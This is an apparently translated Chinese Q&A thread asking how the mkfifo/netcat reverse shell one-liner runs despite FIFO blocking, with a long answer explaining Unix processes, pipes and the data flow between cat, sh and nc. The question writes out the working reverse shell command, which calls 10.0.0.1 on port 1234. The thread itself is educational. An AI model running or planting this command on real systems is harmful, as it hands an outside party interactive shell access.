当被命名管道阻塞时,shell如何执行netcat?

fv2wmkja  于 2023-05-23  发布在  Shell
关注(0)|答案(1)|浏览(128)

我不理解这个反向shell:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

从我玩mkfifo管道,我知道,当试图写入管道(e.i通过cat something | pipe),它阻塞,直到它被读取的地方(另一个标签)。所以它挡住了。shell从左到右执行。那么,当整个命令rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/fcat /ymp/f阻塞时,中间的命令nc 10.0.0.1 1234如何连接?shell不是从左到右执行的吗?

lc8prwob

lc8prwob1#

meta:这不是编程或开发,但(太)太长的评论。如果关闭或以其他方式要求我同意删除。
你在评论中扩展的问题似乎证明了大量的误解或无知,所以我将从头开始,并且更加详细。

一个进程是如何工作的在像Unix这样的操作系统中(或者在1970年的S/360 OS/MVT和CP/M或MS-DOS之后的任何一个):

1.利用包括地址空间的资源创建进程,所述地址空间包含要运行的程序代码、只读数据和可以被初始化或可以默认为零的读写数据;打开文件,通常是stdin、stdout和stderr(但这可以变化);以及其他一些输入,如命令行参数和环境变量。
1.该过程存在一段时间;在该时间的至少一些期间,它实际上运行程序代码。然而,它通常会花费一些时间不运行,因为(a)它正在等待一个I/O操作,或者被外部条件阻止运行,例如来自shell的“作业控制”-这些通常被描述为“[暂时]不可运行”或(B)它是可运行的,但此时没有可用的CPU--在过去,这很常见,因为只有一个CPU,操作系统将在短暂的“时间片”内跨可运行进程“共享”它;如今,几乎所有的机器都至少有多个“核心”,这些核心起到CPU的作用,因此多个进程可以真正同时运行。只要进程存在,我们就可以笼统地说它是“执行”的,即使它不是在活动地运行,甚至不是一直都是可运行的。
1.进程结束,因为程序决定或因为某些外部力量(如Unix中的SIGKILL),并释放其资源;这也被描述为“exit[ing]”、“die/dying”或“terminate/ing”。

管道的工作原理在Unix中: shell 最初为流水线的每个组件创建一个进程,其中文件按照< >等或流水线的明确指定进行重定向(除了最后一个组件之外的每个组件都通过新的、唯一的未命名管道将其标准输出链接到下一个组件的标准输入)。所有这些进程在它们各自的程序开始时开始执行,但在几乎所有情况下,程序执行将到达I/O调用并暂时停止运行,直到I/O完成。当管道中的 * 所有 * 进程退出/死亡/终止时,shell认为管道命令完成。
示例工作原理:shell创建三个进程:

  1. cat,带参数/tmp/f和stdout到一个未命名的管道,为清楚起见,我将其称为pipe 2;因为它被赋予了一个文件名参数cat打开该文件(由于下面的#3而成功)并开始从中阅读,因为其中没有数据而等待。
    1.带参数-ish(使其为“交互式”)和stdin从pipe 2和stdout到另一个管道(我称之为pipe 3);由于sh的I/O不是终端,因此它不会输出任何提示,而是通过阅读stdin来启动命令,该命令会等待(暂时停止运行),因为pipe 2中没有数据
  2. nc,参数为10.0.0.1 1234,pipe 3中的stdin,/tmp/f中的stdout(打开写入会导致#1中的cat完成打开,但不会完成读取)
    nc现在连接到由其参数(地址和端口)指定的系统,并开始尝试 * 同时 * 从stdin读取并发送到远程,从远程接收并写入stdout;这可以通过线程或“非阻塞”(多路复用)I/O来完成,我不想费心去阅读源代码来找出哪一个-特别是因为有许多不同版本的nc,我不知道你有哪一个。由于pipe 3为空,第一部分最初不执行任何操作,但第二部分成功执行:远程发送一些数据,例如steal_valuables行,nc写入/tmp/f。
    这导致cat完成读取,因此cat立即将相同的数据写入pipe 2(并返回阅读/tmp/f);这又导致sh完成读取,并且它将输入解释为要执行的命令。在我们的例子中,假设steal_valuables简单地将行as you command输出到它的标准输出pipe 3(然后sh返回阅读pipe 2)。nc现在读取pipe 3中的可用数据并将其发送到远程,攻击步骤完成。
    冲洗并重复,直至:
    1.要么远程关闭连接,这会导致nc关闭其标准输出并退出(如果不是立即的话,也会很快);结果,cat的读取完成并返回EOF,因此cat退出关闭管道2,因此sh类似地获得EOF并退出关闭管道3,并且全部完成
    1.或者远程发送命令,使sh退出,关闭pipe 3,因此nc关闭连接并退出,关闭/tmp/f,使cat获取EOF并退出,关闭pipe 2,同上

相关问题